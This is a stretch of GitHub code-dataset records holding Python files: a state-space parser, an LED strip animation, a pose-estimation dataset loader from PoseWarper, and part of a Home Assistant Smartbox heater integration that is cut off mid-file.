lst:\n p = multiprocessing.Process(target=i)\n process.append(p)\n p.start()\nfor i in process:\n i.join()\n print(i.getpid(), '被关闭')","repo_name":"demo112/1807","sub_path":"QQ_Project/follow_teacher/process02.py","file_name":"process02.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22241387417","text":"from enum import Enum, auto\r\nfrom data_strucutres.descriptors import StateSpaceDescriptor, HeuristicDescriptor\r\nimport string\r\n\r\n\r\nclass Parser:\r\n \"\"\"Used to parse state space and heuristic space\"\"\"\r\n allowed_characters = set(string.ascii_lowercase + string.ascii_uppercase + string.digits + \"_ščćđžŠČĆĐŽ\")\r\n\r\n class ParserStates(Enum):\r\n READING_STARTING_STATE=auto()\r\n READING_ENDING_STATES=auto()\r\n READING_TRANSITIONS=auto()\r\n\r\n @staticmethod\r\n def checkValidString(str_to_check: str) -> bool:\r\n \"\"\"Checks if string contains characters: _ščćđžŠČĆĐŽ + ascii_lowercase + ascii_uppercase + digits\r\n Args:\r\n str_to_check (str): String to check\r\n Returns:\r\n bool: True if str_to_check contains only specified characters, False otherwise\r\n \"\"\"\r\n return set(str_to_check) <= Parser.allowed_characters\r\n\r\n @staticmethod\r\n def checkValidNumber(str_to_check: str) -> bool:\r\n \"\"\"Checks if string can be converted to number\r\n Args:\r\n str_to_check (str): String to check if it can be converted to number\r\n Returns:\r\n bool: True if str_to_check can be converted to number, False otherwise\r\n \"\"\"\r\n try:\r\n float(str_to_check)\r\n except ValueError as e:\r\n return False\r\n \r\n return True\r\n\r\n @staticmethod\r\n def illegalString(line: str) -> None:\r\n print(f\"\\\"{line}\\\" contains illegal character\")\r\n exit()\r\n \r\n @staticmethod\r\n def illegalNumber(line: str) -> None:\r\n print(f\"\\\"{line}\\\" cannot be parsed to number\")\r\n exit()\r\n\r\n @staticmethod\r\n def parseStateSpaceDescription(filePath: str) -> StateSpaceDescriptor:\r\n \"\"\"Parse state space\r\n Args:\r\n filePath (str): Path to file\r\n Returns:\r\n StateSpaceDescriptor: State space descriptor\r\n \"\"\"\r\n parser_state = Parser.ParserStates.READING_STARTING_STATE\r\n state_space_descriptor = StateSpaceDescriptor()\r\n\r\n file = open(filePath, encoding=\"utf-8\")\r\n\r\n for line in file.readlines():\r\n #remove newline\r\n line = line.strip()\r\n if(not line.startswith('#')):\r\n if(parser_state==Parser.ParserStates.READING_TRANSITIONS):\r\n #parse transitions\r\n pos = line.find(\":\")\r\n fromState = line[0:pos]\r\n if(not Parser.checkValidString(fromState)):\r\n Parser.illegalString(fromState)\r\n #remove \":\\s\"\r\n line=line[pos+2:]\r\n if(line == ''):\r\n toStates=[]\r\n else:\r\n toStates=[tuple(x.split(\",\")) for x in line.split(\" \")]\r\n for toStateWCost in toStates:\r\n if(not Parser.checkValidString(toStateWCost[0])):\r\n Parser.illegalString(toStateWCost[0])\r\n if(not Parser.checkValidNumber(toStateWCost[1])):\r\n Parser.illegalNumber(toStateWCost[1])\r\n\r\n toStates = [(x[0], float(x[1])) for x in toStates]\r\n state_space_descriptor.setTransitions(fromState, toStates)\r\n elif(parser_state==Parser.ParserStates.READING_STARTING_STATE):\r\n #parse ending states\r\n #check if line contains valid characters\r\n if(not Parser.checkValidString(line)):\r\n Parser.illegalString(line)\r\n state_space_descriptor.starting_state = line\r\n parser_state=Parser.ParserStates.READING_ENDING_STATES\r\n elif(parser_state==Parser.ParserStates.READING_ENDING_STATES):\r\n #parse starting state\r\n ending_states = line.split(\" \")\r\n if(ending_states[-1]==\"\"):\r\n Parser.illegalString(ending_states[len(ending_states) - 2] + \" \")\r\n for state in ending_states:\r\n if(not Parser.checkValidString(state)):\r\n Parser.illegalString(state)\r\n state_space_descriptor.ending_states = ending_states\r\n parser_state=Parser.ParserStates.READING_TRANSITIONS\r\n else:\r\n #process comment\r\n pass\r\n file.close()\r\n return state_space_descriptor\r\n\r\n @staticmethod\r\n def parseHeuristicDescriptor(filePath: str) -> HeuristicDescriptor:\r\n \"\"\"Parse heuristic space\r\n Args:\r\n filePath (str): Path to file\r\n Returns:\r\n HeuristicSpaceDescriptor: Heuristic space descriptor\r\n \"\"\"\r\n file = open(filePath, encoding=\"utf-8\")\r\n heuristic_descriptor = HeuristicDescriptor()\r\n \r\n for line in file.readlines():\r\n line = line.strip()\r\n pos = line.find(\":\")\r\n state = line[0:pos]\r\n if(not Parser.checkValidString(state)):\r\n Parser.illegalString(state)\r\n value = line[pos+2:]\r\n if(not Parser.checkValidNumber(value)):\r\n Parser.illegalNumber(value)\r\n heuristic_descriptor.addPair(state, float(value))\r\n\r\n file.close()\r\n\r\n return heuristic_descriptor\r\n","repo_name":"Luka-Hanzek/Shortest-path-algorithms","sub_path":"utils/input_parser.py","file_name":"input_parser.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24118020191","text":"from bibliopixel.animation.strip import Strip\n\n\nclass ColorWipe(Strip):\n \"\"\"Fill the dots progressively along the strip.\"\"\"\n COLOR_DEFAULTS = ('color', [255, 0, 0]),\n\n def __init__(self, layout, start=0, end=-1, **kwds):\n super().__init__(layout, start, end, **kwds)\n\n def pre_run(self):\n self._step = 0\n\n def step(self, amt=1):\n if self._step == 0:\n self.layout.all_off()\n for i in range(amt):\n self.layout.set(self._start + self._step - i, self.palette(0))\n\n self._step += amt\n overflow = (self._start + self._step) - self._end\n if overflow >= 0:\n self._step = overflow\n","repo_name":"ManiacalLabs/BiblioPixelAnimations","sub_path":"BiblioPixelAnimations/strip/ColorWipe.py","file_name":"ColorWipe.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"78"} +{"seq_id":"36476402051","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport copy\nimport logging\nimport random\n\nimport cv2\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nimport os\n\nfrom utils.transforms import get_affine_transform\nfrom utils.transforms import affine_transform\nfrom utils.transforms import fliplr_joints\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass JointsDataset(Dataset):\n def __init__(self, cfg, root, image_set, is_train, transform=None):\n self.num_joints = 0\n self.pixel_std = 200\n self.flip_pairs = []\n self.parent_ids = []\n\n self.is_train = is_train\n self.root = root\n self.image_set = image_set\n\n self.use_warping_train = cfg['MODEL']['USE_WARPING_TRAIN']\n self.use_warping_test = cfg['MODEL']['USE_WARPING_TEST']\n self.timestep_delta = cfg['MODEL']['TIMESTEP_DELTA']\n self.timestep_delta_rand = cfg['MODEL']['TIMESTEP_DELTA_RAND']\n self.timestep_delta_range = cfg['MODEL']['TIMESTEP_DELTA_RANGE']\n\n self.output_path = cfg.OUTPUT_DIR\n self.data_format = cfg.DATASET.DATA_FORMAT\n self.scale_factor = cfg.DATASET.SCALE_FACTOR\n self.rotation_factor = cfg.DATASET.ROT_FACTOR\n self.flip = cfg.DATASET.FLIP\n self.num_joints_half_body = cfg.DATASET.NUM_JOINTS_HALF_BODY\n self.prob_half_body = cfg.DATASET.PROB_HALF_BODY\n self.color_rgb = cfg.DATASET.COLOR_RGB\n self.is_posetrack18 = cfg.DATASET.IS_POSETRACK18\n\n self.target_type = cfg.MODEL.TARGET_TYPE\n self.image_size = np.array(cfg.MODEL.IMAGE_SIZE)\n self.heatmap_size = np.array(cfg.MODEL.HEATMAP_SIZE)\n self.sigma = cfg.MODEL.SIGMA\n self.use_different_joints_weight = cfg.LOSS.USE_DIFFERENT_JOINTS_WEIGHT\n self.joints_weight = 1\n\n self.transform = transform\n self.db = []\n\n def _get_db(self):\n raise NotImplementedError\n\n def evaluate(self, cfg, preds, output_dir, *args, **kwargs):\n raise NotImplementedError\n\n def read_image(self, image_path):\n r = open(image_path,'rb').read()\n img_array = np.asarray(bytearray(r), dtype=np.uint8)\n img = cv2.imdecode(img_array, cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION)\n return img\n\n def half_body_transform(self, joints, joints_vis):\n upper_joints = []\n lower_joints = []\n for joint_id in range(self.num_joints):\n if joints_vis[joint_id][0] > 0:\n if joint_id in self.upper_body_ids:\n upper_joints.append(joints[joint_id])\n else:\n lower_joints.append(joints[joint_id])\n\n if np.random.randn() < 0.5 and len(upper_joints) > 2:\n selected_joints = upper_joints\n else:\n selected_joints = lower_joints \\\n if len(lower_joints) > 2 else upper_joints\n\n if len(selected_joints) < 2:\n return None, None\n\n selected_joints = np.array(selected_joints, dtype=np.float32)\n center = selected_joints.mean(axis=0)[:2]\n\n left_top = np.amin(selected_joints, axis=0)\n right_bottom = np.amax(selected_joints, axis=0)\n\n w = right_bottom[0] - left_top[0]\n h = right_bottom[1] - left_top[1]\n\n if w > self.aspect_ratio * h:\n h = w * 1.0 / self.aspect_ratio\n elif w < self.aspect_ratio * h:\n w = h * self.aspect_ratio\n\n scale = np.array(\n [\n w * 1.0 / self.pixel_std,\n h * 1.0 / self.pixel_std\n ],\n dtype=np.float32\n )\n\n scale = scale * 1.5\n\n return center, scale\n\n def __len__(self,):\n return len(self.db)\n\n def __getitem__(self, idx):\n db_rec = copy.deepcopy(self.db[idx])\n\n image_file = db_rec['image']\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n prev_image_file1 = db_rec['image']\n prev_image_file2 = db_rec['image']\n next_image_file1 = db_rec['image']\n next_image_file2 = db_rec['image']\n\n filename = db_rec['filename'] if 'filename' in db_rec else ''\n imgnum = db_rec['imgnum'] if 'imgnum' in db_rec else ''\n\n if self.data_format == 'zip':\n from utils import zipreader\n data_numpy = zipreader.imread(\n image_file, cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION\n )\n else:\n data_numpy = self.read_image(image_file)\n\n ##### supporting frames\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n T = self.timestep_delta_range\n temp = prev_image_file1.split('/')\n prev_nm = temp[len(temp)-1]\n ref_idx = int(prev_nm.replace('.jpg',''))\n\n ### setting deltas\n prev_delta1 = -1\n prev_delta2 = -2\n next_delta1 = 1\n next_delta2 = 2\n\n #### image indices\n prev_idx1 = ref_idx + prev_delta1\n prev_idx2 = ref_idx + prev_delta2\n next_idx1 = ref_idx + next_delta1\n next_idx2 = ref_idx + next_delta2\n\n if 'nframes' in db_rec:\n nframes = db_rec['nframes']\n if not self.is_posetrack18:\n prev_idx1 = np.clip(prev_idx1,1,nframes)\n prev_idx2 = np.clip(prev_idx2,1,nframes)\n next_idx1 = np.clip(next_idx1,1,nframes)\n next_idx2 = np.clip(next_idx2,1,nframes)\n else:\n prev_idx1 = np.clip(prev_idx1,0,nframes-1)\n prev_idx2 = np.clip(prev_idx2,0,nframes-1)\n next_idx1 = np.clip(next_idx1,0,nframes-1)\n next_idx2 = np.clip(next_idx2,0,nframes-1)\n\n if self.is_posetrack18:\n z = 6\n else:\n z = 8\n\n ### delta -1\n new_prev_image_file1 = prev_image_file1.replace(prev_nm, str(prev_idx1).zfill(z) + '.jpg')\n #### delta -2\n new_prev_image_file2 = prev_image_file1.replace(prev_nm, str(prev_idx2).zfill(z) + '.jpg')\n ### delta 1\n new_next_image_file1 = next_image_file1.replace(prev_nm, str(next_idx1).zfill(z) + '.jpg')\n #### delta 2\n new_next_image_file2 = next_image_file1.replace(prev_nm, str(next_idx2).zfill(z) + '.jpg')\n\n ###### checking for files existence\n if os.path.exists(new_prev_image_file1):\n prev_image_file1 = new_prev_image_file1\n if os.path.exists(new_prev_image_file2):\n prev_image_file2 = new_prev_image_file2\n if os.path.exists(new_next_image_file1):\n next_image_file1 = new_next_image_file1\n if os.path.exists(new_next_image_file2):\n next_image_file2 = new_next_image_file2\n\n ##########\n\n data_numpy_prev1 = self.read_image(prev_image_file1)\n data_numpy_prev2 = self.read_image(prev_image_file2)\n data_numpy_next1 = self.read_image(next_image_file1)\n data_numpy_next2 = self.read_image(next_image_file2)\n ###########\n\n if self.color_rgb:\n data_numpy = cv2.cvtColor(data_numpy, cv2.COLOR_BGR2RGB)\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n data_numpy_prev1 = cv2.cvtColor(data_numpy_prev1, cv2.COLOR_BGR2RGB)\n data_numpy_prev2 = cv2.cvtColor(data_numpy_prev2, cv2.COLOR_BGR2RGB)\n data_numpy_next1 = cv2.cvtColor(data_numpy_next1, cv2.COLOR_BGR2RGB)\n data_numpy_next2 = cv2.cvtColor(data_numpy_next2, cv2.COLOR_BGR2RGB)\n\n if data_numpy is None:\n logger.error('=> fail to read {}'.format(image_file))\n raise ValueError('Fail to read {}'.format(image_file))\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n if data_numpy_prev1 is None:\n logger.error('=> PREV SUP: fail to read {}'.format(prev_image_file1))\n raise ValueError('PREV SUP: Fail to read {}'.format(prev_image_file1))\n if data_numpy_prev2 is None:\n logger.error('=> PREV SUP: fail to read {}'.format(prev_image_file2))\n raise ValueError('PREV SUP: Fail to read {}'.format(prev_image_file2))\n if data_numpy_next1 is None:\n logger.error('=> NEXT SUP: fail to read {}'.format(next_image_file1))\n raise ValueError('NEXT SUP: Fail to read {}'.format(next_image_file1))\n if data_numpy_next2 is None:\n logger.error('=> NEXT SUP: fail to read {}'.format(next_image_file2))\n raise ValueError('NEXT SUP: Fail to read {}'.format(next_image_file2))\n ##########\n\n joints = db_rec['joints_3d']\n joints_vis = db_rec['joints_3d_vis']\n\n c = db_rec['center']\n s = db_rec['scale']\n score = db_rec['score'] if 'score' in db_rec else 1\n r = 0\n\n if self.is_train:\n if (np.sum(joints_vis[:, 0]) > self.num_joints_half_body\n and np.random.rand() < self.prob_half_body):\n c_half_body, s_half_body = self.half_body_transform(\n joints, joints_vis\n )\n\n if c_half_body is not None and s_half_body is not None:\n c, s = c_half_body, s_half_body\n\n sf = self.scale_factor\n rf = self.rotation_factor\n s = s * np.clip(np.random.randn()*sf + 1, 1 - sf, 1 + sf)\n r = np.clip(np.random.randn()*rf, -rf*2, rf*2) \\\n if random.random() <= 0.6 else 0\n\n if self.flip and random.random() <= 0.5:\n data_numpy = data_numpy[:, ::-1, :]\n #####\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n data_numpy_prev1 = data_numpy_prev1[:, ::-1, :]\n data_numpy_prev2 = data_numpy_prev2[:, ::-1, :]\n data_numpy_next1 = data_numpy_next1[:, ::-1, :]\n data_numpy_next2 = data_numpy_next2[:, ::-1, :]\n ##########\n\n joints, joints_vis = fliplr_joints(\n joints, joints_vis, data_numpy.shape[1], self.flip_pairs)\n c[0] = data_numpy.shape[1] - c[0] - 1\n\n trans = get_affine_transform(c, s, r, self.image_size)\n input = cv2.warpAffine(\n data_numpy,\n trans,\n (int(self.image_size[0]), int(self.image_size[1])),\n flags=cv2.INTER_LINEAR)\n\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n input_prev1 = cv2.warpAffine(\n data_numpy_prev1,\n trans,\n (int(self.image_size[0]), int(self.image_size[1])),\n flags=cv2.INTER_LINEAR)\n input_prev2 = cv2.warpAffine(\n data_numpy_prev2,\n trans,\n (int(self.image_size[0]), int(self.image_size[1])),\n flags=cv2.INTER_LINEAR)\n input_next1 = cv2.warpAffine(\n data_numpy_next1,\n trans,\n (int(self.image_size[0]), int(self.image_size[1])),\n flags=cv2.INTER_LINEAR)\n input_next2 = cv2.warpAffine(\n data_numpy_next2,\n trans,\n (int(self.image_size[0]), int(self.image_size[1])),\n flags=cv2.INTER_LINEAR)\n #########\n\n if self.transform:\n input = self.transform(input)\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n input_prev1 = self.transform(input_prev1)\n input_prev2 = self.transform(input_prev2)\n input_next1 = self.transform(input_next1)\n input_next2 = self.transform(input_next2)\n ############\n for i in range(self.num_joints):\n if joints_vis[i, 0] > 0.0:\n joints[i, 0:2] = affine_transform(joints[i, 0:2], trans)\n\n target, target_weight = self.generate_target(joints, joints_vis)\n\n target = torch.from_numpy(target)\n target_weight = torch.from_numpy(target_weight)\n\n if (self.is_train and self.use_warping_train) or (not self.is_train and self.use_warping_test):\n\n meta = {\n 'image': image_file,\n 'sup_image': prev_image_file1,\n 'filename': filename,\n 'imgnum': imgnum,\n 'joints': joints,\n 'joints_vis': joints_vis,\n 'center': c,\n 'scale': s,\n 'rotation': r,\n 'score': score\n }\n\n return input, input_prev1, input_prev2, input_next1, input_next2, target, target_weight, meta\n\n else:\n meta = {\n 'image': image_file,\n 'filename': filename,\n 'imgnum': imgnum,\n 'joints': joints,\n 'joints_vis': joints_vis,\n 'center': c,\n 'scale': s,\n 'rotation': r,\n 'score': score\n }\n\n return input, target, target_weight, meta\n\n def select_data(self, db):\n db_selected = []\n for rec in db:\n num_vis = 0\n joints_x = 0.0\n joints_y = 0.0\n for joint, joint_vis in zip(\n rec['joints_3d'], rec['joints_3d_vis']):\n if joint_vis[0] <= 0:\n continue\n num_vis += 1\n\n joints_x += joint[0]\n joints_y += joint[1]\n if num_vis == 0:\n continue\n\n joints_x, joints_y = joints_x / num_vis, joints_y / num_vis\n\n area = rec['scale'][0] * rec['scale'][1] * (self.pixel_std**2)\n joints_center = np.array([joints_x, joints_y])\n bbox_center = np.array(rec['center'])\n diff_norm2 = np.linalg.norm((joints_center-bbox_center), 2)\n ks = np.exp(-1.0*(diff_norm2**2) / ((0.2)**2*2.0*area))\n\n metric = (0.2 / 16) * num_vis + 0.45 - 0.2 / 16\n if ks > metric:\n db_selected.append(rec)\n\n logger.info('=> num db: {}'.format(len(db)))\n logger.info('=> num selected db: {}'.format(len(db_selected)))\n return db_selected\n\n def generate_target(self, joints, joints_vis):\n '''\n :param joints: [num_joints, 3]\n :param joints_vis: [num_joints, 3]\n :return: target, target_weight(1: visible, 0: invisible)\n '''\n target_weight = np.ones((self.num_joints, 1), dtype=np.float32)\n target_weight[:, 0] = joints_vis[:, 0]\n\n assert self.target_type == 'gaussian', \\\n 'Only support gaussian map now!'\n\n if self.target_type == 'gaussian':\n target = np.zeros((self.num_joints,\n self.heatmap_size[1],\n self.heatmap_size[0]),\n dtype=np.float32)\n\n tmp_size = self.sigma * 3\n\n for joint_id in range(self.num_joints):\n feat_stride = self.image_size / self.heatmap_size\n mu_x = int(joints[joint_id][0] / feat_stride[0] + 0.5)\n mu_y = int(joints[joint_id][1] / feat_stride[1] + 0.5)\n # Check that any part of the gaussian is in-bounds\n ul = [int(mu_x - tmp_size), int(mu_y - tmp_size)]\n br = [int(mu_x + tmp_size + 1), int(mu_y + tmp_size + 1)]\n if ul[0] >= self.heatmap_size[0] or ul[1] >= self.heatmap_size[1] \\\n or br[0] < 0 or br[1] < 0:\n # If not, just return the image as is\n target_weight[joint_id] = 0\n continue\n\n # # Generate gaussian\n size = 2 * tmp_size + 1\n x = np.arange(0, size, 1, np.float32)\n y = x[:, np.newaxis]\n x0 = y0 = size // 2\n # The gaussian is not normalized, we want the center value to equal 1\n g = np.exp(- ((x - x0) ** 2 + (y - y0) ** 2) / (2 * self.sigma ** 2))\n\n # Usable gaussian range\n g_x = max(0, -ul[0]), min(br[0], self.heatmap_size[0]) - ul[0]\n g_y = max(0, -ul[1]), min(br[1], self.heatmap_size[1]) - ul[1]\n # Image range\n img_x = max(0, ul[0]), min(br[0], self.heatmap_size[0])\n img_y = max(0, ul[1]), min(br[1], self.heatmap_size[1])\n\n v = target_weight[joint_id]\n if v > 0.5:\n target[joint_id][img_y[0]:img_y[1], img_x[0]:img_x[1]] = \\\n g[g_y[0]:g_y[1], g_x[0]:g_x[1]]\n\n if self.use_different_joints_weight:\n target_weight = np.multiply(target_weight, self.joints_weight)\n\n return target, target_weight\n","repo_name":"facebookresearch/PoseWarper","sub_path":"lib/dataset/JointsDataset_PoseAgg.py","file_name":"JointsDataset_PoseAgg.py","file_ext":"py","file_size_in_byte":17421,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"78"} +{"seq_id":"74754889853","text":"import asyncio\nimport logging\n\nfrom homeassistant.const import (\n TEMP_CELSIUS,\n TEMP_FAHRENHEIT,\n)\nfrom homeassistant.components.climate.const import (\n HVAC_MODE_AUTO,\n HVAC_MODE_HEAT,\n HVAC_MODE_OFF,\n PRESET_ACTIVITY,\n PRESET_AWAY,\n PRESET_COMFORT,\n PRESET_ECO,\n PRESET_HOME,\n)\nfrom homeassistant.core import HomeAssistant\nfrom smartbox import Session, UpdateManager\nfrom typing import Any, cast, Dict, List, Union\nfrom unittest.mock import MagicMock\n\nfrom .const import (\n GITHUB_ISSUES_URL,\n HEATER_NODE_TYPE_ACM,\n HEATER_NODE_TYPE_HTR_MOD,\n HEATER_NODE_TYPES,\n PRESET_FROST,\n PRESET_SCHEDULE,\n PRESET_SELF_LEARN,\n)\nfrom .types import FactoryOptionsDict, SetupDict, StatusDict\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass SmartboxDevice(object):\n def __init__(\n self,\n dev_id: str,\n name: str,\n session: Union[Session, MagicMock],\n socket_reconnect_attempts: int,\n socket_backoff_factor: float,\n ) -> None:\n self._dev_id = dev_id\n self._name = name\n self._session = session\n self._socket_reconnect_attempts = socket_reconnect_attempts\n self._socket_backoff_factor = socket_backoff_factor\n self._away = False\n self._power_limit: int = 0\n\n async def initialise_nodes(self, hass: HomeAssistant) -> None:\n # Would do in __init__, but needs to be a coroutine\n session_nodes = await hass.async_add_executor_job(\n self._session.get_nodes, self.dev_id\n )\n self._nodes = {}\n for node_info in session_nodes:\n status = await hass.async_add_executor_job(\n self._session.get_status, self._dev_id, node_info\n )\n setup = await hass.async_add_executor_job(\n self._session.get_setup, self._dev_id, node_info\n )\n node = SmartboxNode(self, node_info, self._session, status, setup)\n self._nodes[(node.node_type, node.addr)] = node\n\n _LOGGER.debug(f\"Creating SocketSession for device {self._dev_id}\")\n self._update_manager = UpdateManager(\n self._session,\n self._dev_id,\n reconnect_attempts=self._socket_reconnect_attempts,\n backoff_factor=self._socket_backoff_factor,\n )\n\n self._update_manager.subscribe_to_device_away_status(self._away_status_update)\n self._update_manager.subscribe_to_device_power_limit(self._power_limit_update)\n self._update_manager.subscribe_to_node_status(self._node_status_update)\n self._update_manager.subscribe_to_node_setup(self._node_setup_update)\n\n _LOGGER.debug(f\"Starting UpdateManager task for device {self._dev_id}\")\n asyncio.create_task(self._update_manager.run())\n\n def _away_status_update(self, away_status: Dict[str, bool]) -> None:\n _LOGGER.debug(f\"Away status update: {away_status}\")\n self._away = away_status[\"away\"]\n\n def _power_limit_update(self, power_limit: int) -> None:\n _LOGGER.debug(f\"power_limit update: {power_limit}\")\n self._power_limit = power_limit\n\n def _node_status_update(\n self, node_type: str, addr: int, node_status: StatusDict\n ) -> None:\n _LOGGER.debug(f\"Node status update: {node_status}\")\n node = self._nodes.get((node_type, addr), None)\n if node is not None:\n node.update_status(node_status)\n else:\n _LOGGER.error(f\"Received status update for unknown node {node_type} {addr}\")\n\n def _node_setup_update(\n self, node_type: str, addr: int, node_setup: SetupDict\n ) -> None:\n _LOGGER.debug(f\"Node setup update: {node_setup}\")\n node = self._nodes.get((node_type, addr), None)\n if node is not None:\n node.update_setup(node_setup)\n else:\n _LOGGER.error(f\"Received setup update for unknown node {node_type} {addr}\")\n\n @property\n def dev_id(self) -> str:\n return self._dev_id\n\n def get_nodes(self):\n return self._nodes.values()\n\n @property\n def name(self) -> str:\n return self._name\n\n @property\n def away(self) -> bool:\n return self._away\n\n def set_away_status(self, away: bool):\n self._session.set_device_away_status(self.dev_id, {\"away\": away})\n self._away = away\n\n @property\n def power_limit(self) -> int:\n return self._power_limit\n\n def set_power_limit(self, power_limit: int) -> None:\n self._session.set_device_power_limit(self.dev_id, power_limit)\n self._power_limit = power_limit\n\n\nclass SmartboxNode(object):\n def __init__(\n self,\n device: Union[SmartboxDevice, MagicMock],\n node_info: Dict[str, Any],\n session: Union[Session, MagicMock],\n status: Dict[str, Any],\n setup: Dict[str, Any],\n ) -> None:\n self._device = device\n self._node_info = node_info\n self._session = session\n self._status = status\n self._setup = setup\n\n @property\n def node_id(self) -> str:\n # TODO: are addrs only unique among node types, or for the whole device?\n return f\"{self._device.dev_id}-{self._node_info['addr']}\"\n\n @property\n def name(self) -> str:\n return self._node_info[\"name\"]\n\n @property\n def node_type(self) -> str:\n \"\"\"Return node type, e.g. 'htr' for heaters\"\"\"\n return self._node_info[\"type\"]\n\n @property\n def addr(self) -> int:\n return self._node_info[\"addr\"]\n\n @property\n def status(self) -> StatusDict:\n return self._status\n\n def update_status(self, status: StatusDict) -> None:\n _LOGGER.debug(f\"Updating node {self.name} status: {status}\")\n self._status = status\n\n @property\n def setup(self) -> SetupDict:\n return self._setup\n\n def update_setup(self, setup: SetupDict) -> None:\n _LOGGER.debug(f\"Updating node {self.name} setup: {setup}\")\n self._setup = setup\n\n def set_status(self, **status_args) -> StatusDict:\n self._session.set_status(self._device.dev_id, self._node_info, status_args)\n # update our status locally until we get an update\n self._status |= {**status_args}\n return self._status\n\n @property\n def away(self):\n return self._device.away\n\n def update_device_away_status(self, away: bool):\n self._device.set_away_status(away)\n\n async def async_update(self, hass: HomeAssistant) -> StatusDict:\n return self.status\n\n @property\n def window_mode(self) -> bool:\n if \"window_mode_enabled\" not in self._setup:\n raise KeyError(\n \"window_mode_enabled not present in setup for node {self.name}\"\n )\n return self._setup[\"window_mode_enabled\"]\n\n def set_window_mode(self, window_mode: bool):\n self._session.set_setup(\n self._device.dev_id, self._node_info, {\"window_mode_enabled\": window_mode}\n )\n self._setup[\"window_mode_enabled\"] = window_mode\n\n @property\n def true_radiant(self) -> bool:\n if \"true_radiant_enabled\" not in self._setup:\n raise KeyError(\n \"true_radiant_enabled not present in setup for node {self.name}\"\n )\n return self._setup[\"true_radiant_enabled\"]\n\n def set_true_radiant(self, true_radiant: bool):\n self._session.set_setup(\n self._device.dev_id, self._node_info, {\"true_radiant_enabled\": true_radiant}\n )\n self._setup[\"true_radiant_enabled\"] = true_radiant\n\n\ndef is_heater_node(node: Union[SmartboxNode, MagicMock]) -> bool:\n return node.node_type in HEATER_NODE_TYPES\n\n\ndef is_supported_node(node: Union[SmartboxNode, MagicMock]) -> bool:\n return is_heater_node(node)\n\n\ndef get_temperature_unit(status):\n if \"units\" not in status:\n return None\n unit = status[\"units\"]\n if unit == \"C\":\n return TEMP_CELSIUS\n elif unit == \"F\":\n return TEMP_FAHRENHEIT\n else:\n raise ValueError(f\"Unknown temp unit {unit}\")\n\n\nasync def get_devices(\n hass: HomeAssistant,\n api_name: str,\n basic_auth_creds: str,\n username: str,\n password: str,\n session_retry_attempts: int,\n session_backoff_factor: float,\n socket_reconnect_attempts: int,\n socket_backoff_factor: float,\n) -> List[SmartboxDevice]:\n _LOGGER.info(\n f\"Creating Smartbox session for {api_name}\"\n f\"(session_retry_attempts={session_retry_attempts}\"\n f\", session_backoff_factor={session_backoff_factor}\"\n f\", socket_reconnect_attempts={socket_reconnect_attempts}\"\n f\", socket_backoff_factor={session_backoff_factor})\"\n )\n session = await hass.async_add_executor_job(\n Session,\n api_name,\n basic_auth_creds,\n username,\n password,\n session_retry_attempts,\n session_backoff_factor,\n )\n session_devices = await hass.async_add_executor_job(session.get_devices)\n # TODO: gather?\n devices = [\n await create_smartbox_device(\n hass,\n session_device[\"dev_id\"],\n session_device[\"name\"],\n session,\n socket_reconnect_attempts,\n socket_backoff_factor,\n )\n for session_device in session_devices\n ]\n return devices\n\n\nasync def create_smartbox_device(\n hass: HomeAssistant,\n dev_id: str,\n name: str,\n session: Union[Session, MagicMock],\n socket_reconnect_attempts: int,\n socket_backoff_factor: float,\n) -> Union[SmartboxDevice, MagicMock]:\n \"\"\"Factory function for SmartboxDevices\"\"\"\n device = SmartboxDevice(\n dev_id, name, session, socket_reconnect_attempts, socket_backoff_factor\n )\n await device.initialise_nodes(hass)\n return device\n\n\ndef _check_status_key(key: str, node_type: str, status: Dict[str, Any]):\n if key not in status:\n raise KeyError(\n f\"'{key}' not found in {node_type} - please report to {GITHUB_ISSUES_URL}. \"\n f\"status: {status}\"\n )\n\n\ndef get_target_temperature(node_type: str, status: Dict[str, Any]) -> float:\n if node_type == HEATER_NODE_TYPE_HTR_MOD:\n _check_status_key(\"selected_temp\", node_type, status)\n if status[\"selected_temp\"] == \"comfort\":\n _check_status_key(\"comfort_temp\", node_type, status)\n return float(status[\"comfort_temp\"])\n elif status[\"selected_temp\"] == \"eco\":\n _check_status_key(\"comfort_temp\", node_type, status)\n _check_status_key(\"eco_offset\", node_type, status)\n return float(status[\"comfort_temp\"]) - float(status[\"eco_offset\"])\n elif status[\"selected_temp\"] == \"ice\":\n _check_status_key(\"ice_temp\", node_type, status)\n return float(status[\"ice_temp\"])\n else:\n raise KeyError(\n f\"'Unexpected 'selected_temp' value {status['selected_temp']}\"\n f\" found for {node_type} - please report to\"\n f\" {GITHUB_ISSUES_URL}. status: {status}\"\n )\n else:\n _check_status_key(\"stemp\", node_type, status)\n return float(status[\"stemp\"])\n\n\ndef set_temperature_args(\n node_type: str, status: Dict[str, Any], temp: float\n) -> Dict[str, Any]:\n _check_status_key(\"units\", node_type, status)\n if node_type == HEATER_NODE_TYPE_HTR_MOD:\n if status[\"selected_temp\"] == \"comfort\":\n target_temp = temp\n elif status[\"selected_temp\"] == \"eco\":\n _check_status_key(\"eco_offset\", node_type, status)\n target_temp = temp + float(status[\"eco_offset\"])\n elif status[\"selected_temp\"] == \"ice\":\n raise ValueError(\n \"Can't set temperature for htr_mod devices when ice mode is selected\"\n )\n else:\n raise KeyError(\n f\"'Unexpected 